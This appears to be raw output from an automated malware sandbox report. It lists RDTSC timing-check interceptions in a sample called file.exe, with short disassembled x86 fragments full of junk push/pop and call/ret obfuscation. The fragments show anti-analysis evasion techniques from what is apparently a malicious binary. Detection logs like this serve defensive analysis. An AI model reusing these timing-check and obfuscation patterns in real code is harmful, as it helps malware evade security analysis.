Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6EBB second address: EE6EC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6EC1 second address: EE6EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE98CA second address: EE98D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE98D1 second address: EE98DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE98DF second address: EE98ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F59Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9946 second address: EE99DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F2AD9523878h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F2AD9523878h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 00000017h 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e mov edx, 606FE0E7h 0x00000043 call 00007F2AD9523879h 0x00000048 jmp 00007F2AD9523888h 0x0000004d push eax 0x0000004e pushad 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 pop edx 0x00000053 jns 00007F2AD9523878h 0x00000059 popad 0x0000005a mov eax, dword ptr [esp+04h] 0x0000005e jnl 00007F2AD952387Ah 0x00000064 mov eax, dword ptr [eax] 0x00000066 pushad 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE99DD second address: EE99E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE99E1 second address: EE99E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE99E5 second address: EE99EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9AC4 second address: EE9AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9AC8 second address: EE9ACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9B15 second address: EE9B27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnl 00007F2AD9523880h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9B27 second address: EE9B8D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F2AD900F598h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 push 00000000h 0x00000023 push 00000000h 0x00000025 push eax 0x00000026 call 00007F2AD900F598h 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 add dword ptr [esp+04h], 00000018h 0x00000038 inc eax 0x00000039 push eax 0x0000003a ret 0x0000003b pop eax 0x0000003c ret 0x0000003d movsx esi, di 0x00000040 call 00007F2AD900F599h 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F2AD900F59Bh 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9B8D second address: EE9BC4 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2AD952387Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b js 00007F2AD952388Dh 0x00000011 pushad 0x00000012 jmp 00007F2AD9523883h 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9BC4 second address: EE9BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F2AD900F596h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE9BCF second address: EE9C79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD9523885h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F2AD9523887h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 pushad 0x00000016 jmp 00007F2AD9523880h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push ecx 0x0000001f pushad 0x00000020 popad 0x00000021 pop ecx 0x00000022 popad 0x00000023 pop eax 0x00000024 add si, BB36h 0x00000029 push 00000003h 0x0000002b mov edi, 7F6C4309h 0x00000030 push 00000000h 0x00000032 jp 00007F2AD952387Ch 0x00000038 mov dword ptr [ebp+122D37EBh], ebx 0x0000003e push 00000003h 0x00000040 push 00000000h 0x00000042 push eax 0x00000043 call 00007F2AD9523878h 0x00000048 pop eax 0x00000049 mov dword ptr [esp+04h], eax 0x0000004d add dword ptr [esp+04h], 00000015h 0x00000055 inc eax 0x00000056 push eax 0x00000057 ret 0x00000058 pop eax 0x00000059 ret 0x0000005a sub dword ptr [ebp+122D2D02h], esi 0x00000060 adc edi, 413D611Ch 0x00000066 push 9EB2E900h 0x0000006b pushad 0x0000006c je 00007F2AD952387Ch 0x00000072 push eax 0x00000073 push edx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBF07 second address: EFBF0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBF0B second address: EFBF18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C538 second address: F0C542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C542 second address: F0C547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C547 second address: F0C54D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C54D second address: F0C551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED4AA8 second address: ED4AAE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A919 second address: F0A932 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD9523885h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A932 second address: F0A94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F2AD900F598h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F2AD900F59Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0A94F second address: F0A953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AEA8 second address: F0AEB2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2AD900F596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0AEB2 second address: F0AEB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B01F second address: F0B023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B307 second address: F0B331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007F2AD9523876h 0x0000000e popad 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F2AD9523888h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B331 second address: F0B337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B337 second address: F0B33B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B715 second address: F0B71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B71D second address: F0B73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD952387Bh 0x00000009 pop ecx 0x0000000a popad 0x0000000b jl 00007F2AD9523888h 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F2AD9523876h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0BE7B second address: F0BE7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0BE7F second address: F0BE91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2AD952387Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0BE91 second address: F0BE9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F2AD900F596h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0BFD2 second address: F0BFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0BFD6 second address: F0BFE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0BFE0 second address: F0BFE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0EA1D second address: F0EA49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F2AD900F5ACh 0x0000000c jmp 00007F2AD900F5A6h 0x00000011 popad 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDB396 second address: EDB3B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2AD9523889h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18B05 second address: F18B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F2AD900F596h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18C5D second address: F18C79 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2AD9523876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b pushad 0x0000000c jno 00007F2AD952387Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F18C79 second address: F18C7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1939E second address: F193A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19DF0 second address: F19E2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F59Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F2AD900F59Eh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007F2AD900F5A5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19E2C second address: F19E48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD952387Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 je 00007F2AD9523876h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19E48 second address: F19E4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19E4E second address: F19E71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD952387Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov esi, dword ptr [ebp+122D2C6Ch] 0x00000010 push 4861DED2h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19E71 second address: F19E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19E75 second address: F19E7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A1C8 second address: F1A1E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2AD900F59Ch 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jo 00007F2AD900F598h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A2E3 second address: F1A2E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A2E7 second address: F1A2F9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2AD900F596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A2F9 second address: F1A2FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A2FD second address: F1A303 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A62A second address: F1A62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AB11 second address: F1AB1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F2AD900F596h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AFA9 second address: F1AFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AFAF second address: F1AFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2AD900F59Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B5B5 second address: F1B5BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1BDB1 second address: F1BDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1DB67 second address: F1DB6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1E59B second address: F1E5F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov si, bx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F2AD900F598h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+12457A9Ah], esi 0x00000032 xchg eax, ebx 0x00000033 jnp 00007F2AD900F59Ah 0x00000039 push edi 0x0000003a push edx 0x0000003b pop edx 0x0000003c pop edi 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F2AD900F59Eh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F0A2 second address: F1F0B8 instructions: 0x00000000 rdtsc 0x00000002 js 00007F2AD9523878h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d js 00007F2AD952387Eh 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C78F second address: F1C793 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1D8BE second address: F1D8C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C793 second address: F1C7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F2AD900F596h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EE30 second address: F1EE35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1F920 second address: F1F950 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jmp 00007F2AD900F59Dh 0x0000000f jmp 00007F2AD900F5A0h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jne 00007F2AD900F596h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1FB9B second address: F1FBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F2AD9523878h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 add esi, 4D535F1Ah 0x0000002c mov dword ptr [ebp+122D1D96h], edx 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 js 00007F2AD9523876h 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1FBE4 second address: F1FBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2078E second address: F20792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F204D4 second address: F204D9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20792 second address: F20798 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20798 second address: F2079E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A41 second address: F24A46 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A46 second address: F24A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F21014 second address: F2101A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A53 second address: F24A97 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 or dword ptr [ebp+122D25D5h], edi 0x0000000e or dword ptr [ebp+122D1B42h], ecx 0x00000014 push 00000000h 0x00000016 jmp 00007F2AD900F5A3h 0x0000001b push 00000000h 0x0000001d mov ebx, eax 0x0000001f mov ebx, dword ptr [ebp+122D17FAh] 0x00000025 xchg eax, esi 0x00000026 push ecx 0x00000027 push eax 0x00000028 js 00007F2AD900F596h 0x0000002e pop eax 0x0000002f pop ecx 0x00000030 push eax 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A97 second address: F24A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F25A08 second address: F25AC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2AD900F5A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F2AD900F598h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 call 00007F2AD900F5A5h 0x0000002b or dword ptr [ebp+1247684Fh], ebx 0x00000031 pop ebx 0x00000032 mov edi, esi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F2AD900F598h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Bh 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 push 00000000h 0x00000052 push 00000000h 0x00000054 push ecx 0x00000055 call 00007F2AD900F598h 0x0000005a pop ecx 0x0000005b mov dword ptr [esp+04h], ecx 0x0000005f add dword ptr [esp+04h], 00000015h 0x00000067 inc ecx 0x00000068 push ecx 0x00000069 ret 0x0000006a pop ecx 0x0000006b ret 0x0000006c mov dword ptr [ebp+122D34D4h], ecx 0x00000072 push eax 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007F2AD900F5A1h 0x0000007a rdtsc
